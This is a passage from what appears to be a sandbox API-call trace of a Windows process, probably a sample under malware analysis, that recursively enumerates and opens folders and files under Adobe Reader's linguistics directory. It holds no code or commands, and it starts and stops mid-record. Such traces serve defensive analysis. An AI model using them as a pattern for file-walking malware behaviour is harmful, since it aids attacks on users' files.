nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.178] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="")) returned 1 [0084.178] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="")) returned 0 [0084.178] GetLastError () returned 0x12 [0084.178] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0084.178] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.179] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.179] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proximity", cAlternateFileName="")) returned 1 [0084.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0084.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.179] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ba8 [0084.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.179] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0084.180] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0084.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.180] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0084.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.180] NtClose (Handle=0x15c) returned 0x0 [0084.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6ba8) returned 1 [0084.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ba8 [0084.181] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6cb0 [0084.182] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f40 [0084.182] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.182] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 1 [0084.182] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 0 [0084.182] GetLastError () returned 0x12 [0084.182] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0084.182] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0084.182] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.183] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.00", cAlternateFileName="")) returned 1 [0084.183] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6db8 [0084.184] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.184] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ec0 [0084.184] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.184] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0084.185] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0084.185] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.185] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0084.185] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.185] NtClose (Handle=0x15c) returned 0x0 [0084.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6ec0) returned 1 [0084.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d0c8 [0084.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ec0 [0084.186] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.186] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6fc8 [0084.187] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f40 [0084.189] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7e414bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7e414bc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.190] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e1b35c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x203800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ara131.lex", cAlternateFileName="")) returned 1 [0084.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.190] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.190] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d70d0 [0084.191] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee528 [0084.191] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d71d8 [0084.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.192] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ara32.clx", cAlternateFileName="")) returned 1 [0084.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.192] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.192] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.193] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee548 [0084.193] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d72e0 [0084.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.194] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="araphon.env", cAlternateFileName="")) returned 1 [0084.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee568 [0084.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d73e8 [0084.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.195] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt.fca", cAlternateFileName="")) returned 1 [0084.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee588 [0084.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d74f0 [0084.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.197] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt.hyp", cAlternateFileName="")) returned 1 [0084.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.197] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee5a8 [0084.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d75f8 [0084.199] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.199] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2d1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt04.hsp", cAlternateFileName="")) returned 1 [0084.199] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee5c8 [0084.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7700 [0084.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.201] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt32.clx", cAlternateFileName="")) returned 1 [0084.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee5e8 [0084.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7808 [0084.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.203] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brt55.ths", cAlternateFileName="")) returned 1 [0084.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee608 [0084.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7910 [0084.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.204] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz.fca", cAlternateFileName="")) returned 1 [0084.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee628 [0084.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7a18 [0084.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.206] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="brz.hyp", cAlternateFileName="")) returned 1 [0084.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0084.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ee648 [0084.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d7b20 [0084.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0084.208] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7de214c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fc9, 